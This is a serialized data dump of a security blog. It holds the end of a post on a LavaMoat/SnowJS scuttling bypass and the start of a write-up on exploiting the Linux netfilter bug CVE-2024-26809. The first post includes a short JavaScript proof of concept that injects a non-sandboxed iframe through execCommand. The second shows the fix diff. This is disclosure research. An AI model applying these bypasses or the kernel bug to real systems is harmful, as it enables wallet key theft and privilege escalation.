",{"type":24,"tag":57,"props":56720,"children":56723},{"href":56721,"rel":56722},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[61],[56724],{"type":24,"tag":284,"props":56725,"children":56727},{"className":56726},[],[56728],{"type":29,"value":56729},"document.execCommand",{"type":29,"value":56731}," function is used to execute commands inside a ",{"type":24,"tag":284,"props":56733,"children":56735},{"className":56734},[],[56736],{"type":29,"value":56737},"contenteditable",{"type":29,"value":56739}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":24,"tag":317,"props":56741,"children":56744},{"className":56742,"code":56743,"language":39093,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[56745],{"type":24,"tag":284,"props":56746,"children":56747},{"__ignoreMap":7},[56748],{"type":24,"tag":327,"props":56749,"children":56750},{"class":329,"line":330},[56751,56755,56759,56763,56767,56772,56777,56782,56787,56791],{"type":24,"tag":327,"props":56752,"children":56753},{"style":39086},[56754],{"type":29,"value":1596},{"type":24,"tag":327,"props":56756,"children":56757},{"style":334},[56758],{"type":29,"value":38056},{"type":24,"tag":327,"props":56760,"children":56761},{"style":356},[56762],{"type":29,"value":39166},{"type":24,"tag":327,"props":56764,"children":56765},{"style":346},[56766],{"type":29,"value":384},{"type":24,"tag":327,"props":56768,"children":56769},{"style":844},[56770],{"type":29,"value":56771},"test",{"type":24,"tag":327,"props":56773,"children":56774},{"style":356},[56775],{"type":29,"value":56776}," contenteditable",{"type":24,"tag":327,"props":56778,"children":56779},{"style":356},[56780],{"type":29,"value":56781}," autofocus",{"type":24,"tag":327,"props":56783,"children":56784},{"style":39086},[56785],{"type":29,"value":56786},">\u003C/",{"type":24,"tag":327,"props":56788,"children":56789},{"style":334},[56790],{"type":29,"value":38056},{"type":24,"tag":327,"props":56792,"children":56793},{"style":39086},[56794],{"type":29,"value":9571},{"type":24,"tag":25,"props":56796,"children":56797},{},[56798,56800,56806,56808,56813],{"type":29,"value":56799},"After inserting this element to a page, it is possible to use ",{"type":24,"tag":284,"props":56801,"children":56803},{"className":56802},[],[56804],{"type":29,"value":56805},"insertHTML",{"type":29,"value":56807}," command of ",{"type":24,"tag":284,"props":56809,"children":56811},{"className":56810},[],[56812],{"type":29,"value":56729},{"type":29,"value":56814}," to add a non-sandboxed iframe.",{"type":24,"tag":317,"props":56816,"children":56818},{"className":38073,"code":56817,"language":38075,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[56819],{"type":24,"tag":284,"props":56820,"children":56821},{"__ignoreMap":7},[56822],{"type":24,"tag":327,"props":56823,"children":56824},{"class":329,"line":330},[56825,56829,56833,56838,56842,56847,56851,56855,56859,56864],{"type":24,"tag":327,"props":56826,"children":56827},{"style":356},[56828],{"type":29,"value":39418},{"type":24,"tag":327,"props":56830,"children":56831},{"style":346},[56832],{"type":29,"value":66},{"type":24,"tag":327,"props":56834,"children":56835},{"style":340},[56836],{"type":29,"value":56837},"execCommand",{"type":24,"tag":327,"props":56839,"children":56840},{"style":346},[56841],{"type":29,"value":349},{"type":24,"tag":327,"props":56843,"children":56844},{"style":844},[56845],{"type":29,"value":56846},"'insertHTML'",{"type":24,"tag":327,"props":56848,"children":56849},{"style":346},[56850],{"type":29,"value":2744},{"type":24,"tag":327,"props":56852,"children":56853},{"style":334},[56854],{"type":29,"value":15736},{"type":24,"tag":327,"props":56856,"children":56857},{"style":346},[56858],{"type":29,"value":2744},{"type":24,"tag":327,"props":56860,"children":56861},{"style":844},[56862],{"type":29,"value":56863},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":24,"tag":327,"props":56865,"children":56866},{"style":346},[56867],{"type":29,"value":583},{"type":24,"tag":235,"props":56869,"children":56871},{"id":56870},"impact-on-lavamoat-scuttling",[56872],{"type":29,"value":56873},"Impact On Lavamoat Scuttling",{"type":24,"tag":25,"props":56875,"children":56876},{},[56877],{"type":29,"value":56878},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":24,"tag":25,"props":56880,"children":56881},{},[56882,56884,56889,56891,56896],{"type":29,"value":56883},"For the exploit, the only used functions are in ",{"type":24,"tag":284,"props":56885,"children":56887},{"className":56886},[],[56888],{"type":29,"value":39418},{"type":29,"value":56890}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":24,"tag":284,"props":56892,"children":56894},{"className":56893},[],[56895],{"type":29,"value":44130},{"type":29,"value":56897}," object.",{"type":24,"tag":25,"props":56899,"children":56900},{},[56901,56903,56908],{"type":29,"value":56902},"Consider this example, which runs a scuttled ",{"type":24,"tag":284,"props":56904,"children":56906},{"className":56905},[],[56907],{"type":29,"value":39408},{"type":29,"value":6925},{"type":24,"tag":317,"props":56910,"children":56912},{"className":38073,"code":56911,"language":38075,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[56913],{"type":24,"tag":284,"props":56914,"children":56915},{"__ignoreMap":7},[56916,56952,56989,57032],{"type":24,"tag":327,"props":56917,"children":56918},{"class":329,"line":330},[56919,56923,56927,56931,56935,56939,56943,56948],{"type":24,"tag":327,"props":56920,"children":56921},{"style":356},[56922],{"type":29,"value":39418},{"type":24,"tag":327,"props":56924,"children":56925},{"style":346},[56926],{"type":29,"value":66},{"type":24,"tag":327,"props":56928,"children":56929},{"style":356},[56930],{"type":29,"value":39110},{"type":24,"tag":327,"props":56932,"children":56933},{"style":346},[56934],{"type":29,"value":66},{"type":24,"tag":327,"props":56936,"children":56937},{"style":356},[56938],{"type":29,"value":41684},{"type":24,"tag":327,"props":56940,"children":56941},{"style":381},[56942],{"type":29,"value":4809},{"type":24,"tag":327,"props":56944,"children":56945},{"style":844},[56946],{"type":29,"value":56947}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":24,"tag":327,"props":56949,"children":56950},{"style":346},[56951],{"type":29,"value":405},{"type":24,"tag":327,"props":56953,"children":56954},{"class":329,"line":367},[56955,56959,56963,56967,56971,56976,56980,56985],{"type":24,"tag":327,"props":56956,"children":56957},{"style":356},[56958],{"type":29,"value":39418},{"type":24,"tag":327,"props":56960,"children":56961},{"style":346},[56962],{"type":29,"value":66},{"type":24,"tag":327,"props":56964,"children":56965},{"style":340},[56966],{"type":29,"value":41709},{"type":24,"tag":327,"props":56968,"children":56969},{"style":346},[56970],{"type":29,"value":349},{"type":24,"tag":327,"props":56972,"children":56973},{"style":844},[56974],{"type":29,"value":56975},"'test'",{"type":24,"tag":327,"props":56977,"children":56978},{"style":346},[56979],{"type":29,"value":2108},{"type":24,"tag":327,"props":56981,"children":56982},{"style":340},[56983],{"type":29,"value":56984},"focus",{"type":24,"tag":327,"props":56986,"children":56987},{"style":346},[56988],{"type":29,"value":4838},{"type":24,"tag":327,"props":56990,"children":56991},{"class":329,"line":408},[56992,56996,57000,57004,57008,57012,57016,57020,57024,57028],{"type":24,"tag":327,"props":56993,"children":56994},{"style":356},[56995],{"type":29,"value":39418},{"type":24,"tag":327,"props":56997,"children":56998},{"style":346},[56999],{"type":29,"value":66},{"type":24,"tag":327,"props":57001,"children":57002},{"style":340},[57003],{"type":29,"value":56837},{"type":24,"tag":327,"props":57005,"children":57006},{"style":346},[57007],{"type":29,"value":349},{"type":24,"tag":327,"props":57009,"children":57010},{"style":844},[57011],{"type":29,"value":56846},{"type":24,"tag":327,"props":57013,"children":57014},{"style":346},[57015],{"type":29,"value":2744},{"type":24,"tag":327,"props":57017,"children":57018},{"style":334},[57019],{"type":29,"value":15736},{"type":24,"tag":327,"props":57021,"children":57022},{"style":346},[57023],{"type":29,"value":2744},{"type":24,"tag":327,"props":57025,"children":57026},{"style":844},[57027],{"type":29,"value":56863},{"type":24,"tag":327,"props":57029,"children":57030},{"style":346},[57031],{"type":29,"value":583},{"type":24,"tag":327,"props":57033,"children":57034},{"class":329,"line":421},[57035,57039,57043,57048,57052,57056,57061,57065,57070,57075,57079,57083,57087,57091,57095,57099],{"type":24,"tag":327,"props":57036,"children":57037},{"style":356},[57038],{"type":29,"value":39418},{"type":24,"tag":327,"props":57040,"children":57041},{"style":346},[57042],{"type":29,"value":66},{"type":24,"tag":327,"props":57044,"children":57045},{"style":340},[57046],{"type":29,"value":57047},"getElementsByTagName",{"type":24,"tag":327,"props":57049,"children":57050},{"style":346},[57051],{"type":29,"value":349},{"type":24,"tag":327,"props":57053,"children":57054},{"style":844},[57055],{"type":29,"value":43443},{"type":24,"tag":327,"props":57057,"children":57058},{"style":346},[57059],{"type":29,"value":57060},")[",{"type":24,"tag":327,"props":57062,"children":57063},{"style":397},[57064],{"type":29,"value":2988},{"type":24,"tag":327,"props":57066,"children":57067},{"style":346},[57068],{"type":29,"value":57069},"].",{"type":24,"tag":327,"props":57071,"children":57072},{"style":356},[57073],{"type":29,"value":57074},"contentWindow",{"type":24,"tag":327,"props":57076,"children":57077},{"style":346},[57078],{"type":29,"value":66},{"type":24,"tag":327,"props":57080,"children":57081},{"style":340},[57082],{"type":29,"value":39408},{"type":24,"tag":327,"props":57084,"children":57085},{"style":346},[57086],{"type":29,"value":349},{"type":24,"tag":327,"props":57088,"children":57089},{"style":356},[57090],{"type":29,"value":39418},{"type":24,"tag":327,"props":57092,"children":57093},{"style":346},[57094],{"type":29,"value":66},{"type":24,"tag":327,"props":57096,"children":57097},{"style":356},[57098],{"type":29,"value":39428},{"type":24,"tag":327,"props":57100,"children":57101},{"style":346},[57102],{"type":29,"value":583},{"type":24,"tag":235,"props":57104,"children":57106},{"id":57105},"snowjs-patch",[57107],{"type":29,"value":57108},"SnowJS Patch",{"type":24,"tag":25,"props":57110,"children":57111},{},[57112,57114,57121,57123,57130],{"type":29,"value":57113},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":24,"tag":57,"props":57115,"children":57118},{"href":57116,"rel":57117},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[61],[57119],{"type":29,"value":57120},"browser feature within W3C standards",{"type":29,"value":57122},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":24,"tag":57,"props":57124,"children":57127},{"href":57125,"rel":57126},"https://github.com/weizman/Realms-Initialization-Control",[61],[57128],{"type":29,"value":57129},"Here",{"type":29,"value":57131}," is their new proposal.",{"type":24,"tag":228,"props":57133,"children":57135},{"id":57134},"chaining-the-impacts",[57136],{"type":29,"value":57137},"Chaining The Impacts",{"type":24,"tag":25,"props":57139,"children":57140},{},[57141],{"type":29,"value":57142},"We were able to find two vulnerabilities in lavamoat project:",{"type":24,"tag":175,"props":57144,"children":57145},{},[57146,57151],{"type":24,"tag":179,"props":57147,"children":57148},{},[57149],{"type":29,"value":57150},"Policy File Bypass",{"type":24,"tag":179,"props":57152,"children":57153},{},[57154],{"type":29,"value":57155},"Scuttling Bypass",{"type":24,"tag":25,"props":57157,"children":57158},{},[57159],{"type":29,"value":57160},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":24,"tag":25,"props":57162,"children":57163},{},[57164],{"type":29,"value":57165},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":24,"tag":228,"props":57167,"children":57168},{"id":10412},[57169],{"type":29,"value":226},{"type":24,"tag":25,"props":57171,"children":57172},{},[57173],{"type":29,"value":57174},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":24,"tag":38056,"props":57176,"children":57177},{"style":38058},[57178],{"type":24,"tag":11511,"props":57179,"children":57182},{"src":57180,"alt":57181,"style":38064},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":24,"tag":25932,"props":57184,"children":57186},{"className":57185,"dataFootnotes":7},[25935],[57187,57192],{"type":24,"tag":228,"props":57188,"children":57190},{"className":57189,"id":23003},[25940],[57191],{"type":29,"value":25943},{"type":24,"tag":175,"props":57193,"children":57194},{},[57195],{"type":24,"tag":179,"props":57196,"children":57197},{"id":37075},[57198,57200,57207,57208],{"type":29,"value":57199},"Excluding SES, which was covered ",{"type":24,"tag":57,"props":57201,"children":57204},{"href":57202,"rel":57203},"https://osec.io/blog/2023-11-01-metamask-snaps",[61],[57205],{"type":29,"value":57206},"in our last article",{"type":29,"value":14024},{"type":24,"tag":57,"props":57209,"children":57211},{"href":37103,"ariaLabel":26046,"className":57210,"dataFootnoteBackref":7},[26048],[57212],{"type":29,"value":26051},{"type":24,"tag":10448,"props":57214,"children":57215},{},[57216],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":57218},[57219,57223,57229,57235,57236,57237],{"id":237,"depth":367,"text":240,"children":57220},[57221,57222],{"id":35723,"depth":408,"text":35726},{"id":53840,"depth":408,"text":53843},{"id":54596,"depth":367,"text":54599,"children":57224},[57225,57226,57227,57228],{"id":54847,"depth":408,"text":54850},{"id":55322,"depth":408,"text":55325},{"id":55979,"depth":408,"text":55982},{"id":56102,"depth":408,"text":56105},{"id":56220,"depth":367,"text":56223,"children":57230},[57231,57232,57233,57234],{"id":56348,"depth":408,"text":56351},{"id":56710,"depth":408,"text":56713},{"id":56870,"depth":408,"text":56873},{"id":57105,"depth":408,"text":57108},{"id":57134,"depth":367,"text":57137},{"id":10412,"depth":367,"text":226},{"id":23003,"depth":367,"text":25943},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":57242,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":57243,"description":57244,"author":57245,"image":57246,"date":57248,"isFeatured":16,"tags":57249,"onBlogPage":16,"body":57252,"_type":10481,"_id":67633,"_source":10483,"_file":67634,"_stem":67635,"_extension":10486},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":57247,"height":16818,"width":13292},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[57250,57251],"kernal","linux",{"type":21,"children":57253,"toc":67601},[57254,57267,57281,57286,57292,57302,57307,57313,57318,57336,57350,57359,57392,57397,57403,57422,57455,57461,57474,57684,57751,58315,58334,58559,58618,58624,58644,58684,58872,58877,59028,59084,59089,59603,59622,59891,59917,60426,60493,60499,60535,60540,60806,60839,60851,60878,60890,60895,60901,60922,60928,60949,60972,61804,61810,61850,62390,62401,62435,62502,62556,62788,62794,62838,63302,63308,63319,63349,63432,63437,63442,63478,63530,63561,64116,64122,64139,64145,64150,64156,64184,64377,64397,64413,65008,65014,65049,65072,65084,65090,65118,65715,65740,66709,66720,66733,66746,67512,67526,67532,67544,67550,67578,67583,67587,67592,67597],{"type":24,"tag":25,"props":57255,"children":57256},{},[57257,57259,57266],{"type":29,"value":57258},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":24,"tag":57,"props":57260,"children":57263},{"href":57261,"rel":57262},"https://google.github.io/security-research/kernelctf/rules.html",[61],[57264],{"type":29,"value":57265},"KernelCTF VRP",{"type":29,"value":66},{"type":24,"tag":25,"props":57268,"children":57269},{},[57270,57272,57279],{"type":29,"value":57271},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":24,"tag":57,"props":57273,"children":57276},{"href":57274,"rel":57275},"https://github.com/conlonialC",[61],[57277],{"type":29,"value":57278},"lonial con",{"type":29,"value":57280},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":24,"tag":25,"props":57282,"children":57283},{},[57284],{"type":29,"value":57285},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":24,"tag":228,"props":57287,"children":57289},{"id":57288},"the-kernel",[57290],{"type":29,"value":57291},"The kernel",{"type":24,"tag":25,"props":57293,"children":57294},{},[57295,57297],{"type":29,"value":57296},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":24,"tag":11511,"props":57298,"children":57301},{"alt":57299,"src":57300},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":24,"tag":25,"props":57303,"children":57304},{},[57305],{"type":29,"value":57306},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":24,"tag":235,"props":57308,"children":57310},{"id":57309},"kernel-exploitation",[57311],{"type":29,"value":57312},"Kernel exploitation",{"type":24,"tag":25,"props":57314,"children":57315},{},[57316],{"type":29,"value":57317},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":24,"tag":1380,"props":57319,"children":57320},{},[57321,57326,57331],{"type":24,"tag":179,"props":57322,"children":57323},{},[57324],{"type":29,"value":57325},"Trigger some memory corruption in some kernel subsystem",{"type":24,"tag":179,"props":57327,"children":57328},{},[57329],{"type":29,"value":57330},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":24,"tag":179,"props":57332,"children":57333},{},[57334],{"type":29,"value":57335},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":24,"tag":25,"props":57337,"children":57338},{},[57339,57341,57348],{"type":29,"value":57340},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":24,"tag":57,"props":57342,"children":57345},{"href":57343,"rel":57344},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[61],[57346],{"type":29,"value":57347},"blog post",{"type":29,"value":57349}," to become more familiar with the topic.",{"type":24,"tag":228,"props":57351,"children":57353},{"id":57352},"nf_tables",[57354],{"type":24,"tag":284,"props":57355,"children":57357},{"className":57356},[],[57358],{"type":29,"value":57352},{"type":24,"tag":25,"props":57360,"children":57361},{},[57362,57367,57369,57375,57376,57382,57384,57390],{"type":24,"tag":284,"props":57363,"children":57365},{"className":57364},[],[57366],{"type":29,"value":57352},{"type":29,"value":57368}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":24,"tag":57,"props":57370,"children":57373},{"href":57371,"rel":57372},"https://pwning.tech/nftables",[61],[57374],{"type":29,"value":3238},{"type":29,"value":2744},{"type":24,"tag":57,"props":57377,"children":57380},{"href":57378,"rel":57379},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[61],[57381],{"type":29,"value":10731},{"type":29,"value":57383},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":24,"tag":284,"props":57385,"children":57387},{"className":57386},[],[57388],{"type":29,"value":57389},"nf_table",{"type":29,"value":57391}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":24,"tag":25,"props":57393,"children":57394},{},[57395],{"type":29,"value":57396},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":24,"tag":235,"props":57398,"children":57400},{"id":57399},"transactions",[57401],{"type":29,"value":57402},"Transactions",{"type":24,"tag":25,"props":57404,"children":57405},{},[57406,57408,57413,57415,57420],{"type":29,"value":57407},"A transaction is an interaction that updates ",{"type":24,"tag":284,"props":57409,"children":57411},{"className":57410},[],[57412],{"type":29,"value":57352},{"type":29,"value":57414}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":24,"tag":284,"props":57416,"children":57418},{"className":57417},[],[57419],{"type":29,"value":57352},{"type":29,"value":57421}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":24,"tag":1380,"props":57423,"children":57424},{},[57425,57435,57445],{"type":24,"tag":179,"props":57426,"children":57427},{},[57428,57433],{"type":24,"tag":188,"props":57429,"children":57430},{},[57431],{"type":29,"value":57432},"Control plane",{"type":29,"value":57434},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":24,"tag":179,"props":57436,"children":57437},{},[57438,57443],{"type":24,"tag":188,"props":57439,"children":57440},{},[57441],{"type":29,"value":57442},"Commit path",{"type":29,"value":57444},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":24,"tag":179,"props":57446,"children":57447},{},[57448,57453],{"type":24,"tag":188,"props":57449,"children":57450},{},[57451],{"type":29,"value":57452},"Abort path",{"type":29,"value":57454},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":24,"tag":228,"props":57456,"children":57458},{"id":57457},"vulnerability-details",[57459],{"type":29,"value":57460},"Vulnerability details",{"type":24,"tag":25,"props":57462,"children":57463},{},[57464,57466,57472],{"type":29,"value":57465},"Moving on, let's check out the ",{"type":24,"tag":57,"props":57467,"children":57470},{"href":57468,"rel":57469},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[61],[57471],{"type":29,"value":11797},{"type":29,"value":57473}," that fixed the bug.",{"type":24,"tag":317,"props":57475,"children":57477},{"className":47074,"code":57476,"language":47076,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[57478],{"type":24,"tag":284,"props":57479,"children":57480},{"__ignoreMap":7},[57481,57489,57497,57505,57513,57521,57528,57536,57543,57551,57559,57567,57575,57583,57591,57599,57607,57615,57623,57631,57638,57646,57654,57662,57669,57676],{"type":24,"tag":327,"props":57482,"children":57483},{"class":329,"line":330},[57484],{"type":24,"tag":327,"props":57485,"children":57486},{"style":334},[57487],{"type":29,"value":57488},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":327,"props":57490,"children":57491},{"class":329,"line":367},[57492],{"type":24,"tag":327,"props":57493,"children":57494},{"style":346},[57495],{"type":29,"value":57496},"index c0ceea068936a6..df8de509024637 100644\n",{"type":24,"tag":327,"props":57498,"children":57499},{"class":329,"line":408},[57500],{"type":24,"tag":327,"props":57501,"children":57502},{"style":334},[57503],{"type":29,"value":57504},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":327,"props":57506,"children":57507},{"class":329,"line":421},[57508],{"type":24,"tag":327,"props":57509,"children":57510},{"style":334},[57511],{"type":29,"value":57512},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":327,"props":57514,"children":57515},{"class":329,"line":450},[57516],{"type":24,"tag":327,"props":57517,"children":57518},{"style":346},[57519],{"type":29,"value":57520},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":327,"props":57522,"children":57523},{"class":329,"line":481},[57524],{"type":24,"tag":327,"props":57525,"children":57526},{"emptyLinePlaceholder":16},[57527],{"type":29,"value":544},{"type":24,"tag":327,"props":57529,"children":57530},{"class":329,"line":500},[57531],{"type":24,"tag":327,"props":57532,"children":57533},{"style":346},[57534],{"type":29,"value":57535},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":24,"tag":327,"props":57537,"children":57538},{"class":329,"line":529},[57539],{"type":24,"tag":327,"props":57540,"children":57541},{"emptyLinePlaceholder":16},[57542],{"type":29,"value":544},{"type":24,"tag":327,"props":57544,"children":57545},{"class":329,"line":538},[57546],{"type":24,"tag":327,"props":57547,"children":57548},{"style":346},[57549],{"type":29,"value":57550},"  if (m) {\n",{"type":24,"tag":327,"props":57552,"children":57553},{"class":329,"line":547},[57554],{"type":24,"tag":327,"props":57555,"children":57556},{"style":346},[57557],{"type":29,"value":57558},"   rcu_barrier();\n",{"type":24,"tag":327,"props":57560,"children":57561},{"class":329,"line":557},[57562],{"type":24,"tag":327,"props":57563,"children":57564},{"style":346},[57565],{"type":29,"value":57566}," \n",{"type":24,"tag":327,"props":57568,"children":57569},{"class":329,"line":586},[57570],{"type":24,"tag":327,"props":57571,"children":57572},{"style":844},[57573],{"type":29,"value":57574},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":327,"props":57576,"children":57577},{"class":329,"line":1017},[57578],{"type":24,"tag":327,"props":57579,"children":57580},{"style":844},[57581],{"type":29,"value":57582},"-\n",{"type":24,"tag":327,"props":57584,"children":57585},{"class":329,"line":1026},[57586],{"type":24,"tag":327,"props":57587,"children":57588},{"style":346},[57589],{"type":29,"value":57590},"   for_each_possible_cpu(cpu)\n",{"type":24,"tag":327,"props":57592,"children":57593},{"class":329,"line":1048},[57594],{"type":24,"tag":327,"props":57595,"children":57596},{"style":346},[57597],{"type":29,"value":57598},"    pipapo_free_scratch(m, cpu);\n",{"type":24,"tag":327,"props":57600,"children":57601},{"class":329,"line":1067},[57602],{"type":24,"tag":327,"props":57603,"children":57604},{"style":346},[57605],{"type":29,"value":57606},"   free_percpu(m->scratch);\n",{"type":24,"tag":327,"props":57608,"children":57609},{"class":329,"line":1075},[57610],{"type":24,"tag":327,"props":57611,"children":57612},{"style":346},[57613],{"type":29,"value":57614},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":327,"props":57616,"children":57617},{"class":329,"line":1084},[57618],{"type":24,"tag":327,"props":57619,"children":57620},{"style":346},[57621],{"type":29,"value":57622},"  if (priv->clone) {\n",{"type":24,"tag":327,"props":57624,"children":57625},{"class":329,"line":1100},[57626],{"type":24,"tag":327,"props":57627,"children":57628},{"style":346},[57629],{"type":29,"value":57630},"   m = priv->clone;\n",{"type":24,"tag":327,"props":57632,"children":57633},{"class":329,"line":1128},[57634],{"type":24,"tag":327,"props":57635,"children":57636},{"style":346},[57637],{"type":29,"value":57566},{"type":24,"tag":327,"props":57639,"children":57640},{"class":329,"line":1148},[57641],{"type":24,"tag":327,"props":57642,"children":57643},{"style":844},[57644],{"type":29,"value":57645},"-  if (priv->dirty)\n",{"type":24,"tag":327,"props":57647,"children":57648},{"class":329,"line":1176},[57649],{"type":24,"tag":327,"props":57650,"children":57651},{"style":844},[57652],{"type":29,"value":57653},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":327,"props":57655,"children":57656},{"class":329,"line":1184},[57657],{"type":24,"tag":327,"props":57658,"children":57659},{"style":397},[57660],{"type":29,"value":57661},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":327,"props":57663,"children":57664},{"class":329,"line":1192},[57665],{"type":24,"tag":327,"props":57666,"children":57667},{"style":346},[57668],{"type":29,"value":57566},{"type":24,"tag":327,"props":57670,"children":57671},{"class":329,"line":1212},[57672],{"type":24,"tag":327,"props":57673,"children":57674},{"style":346},[57675],{"type":29,"value":57590},{"type":24,"tag":327,"props":57677,"children":57678},{"class":329,"line":4841},[57679],{"type":24,"tag":327,"props":57680,"children":57681},{"style":346},[57682],{"type":29,"value":57683},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":24,"tag":25,"props":57685,"children":57686},{},[57687,57689,57695,57696,57702,57704,57710,57712,57718,57720,57725,57727,57733,57735,57741,57743,57749],{"type":29,"value":57688},"If the ",{"type":24,"tag":284,"props":57690,"children":57692},{"className":57691},[],[57693],{"type":29,"value":57694},"priv->dirty",{"type":29,"value":1323},{"type":24,"tag":284,"props":57697,"children":57699},{"className":57698},[],[57700],{"type":29,"value":57701},"priv->clone",{"type":29,"value":57703}," variables are set, ",{"type":24,"tag":284,"props":57705,"children":57707},{"className":57706},[],[57708],{"type":29,"value":57709},"nft_set_pipapo_match_destroy()",{"type":29,"value":57711}," is called twice, once with 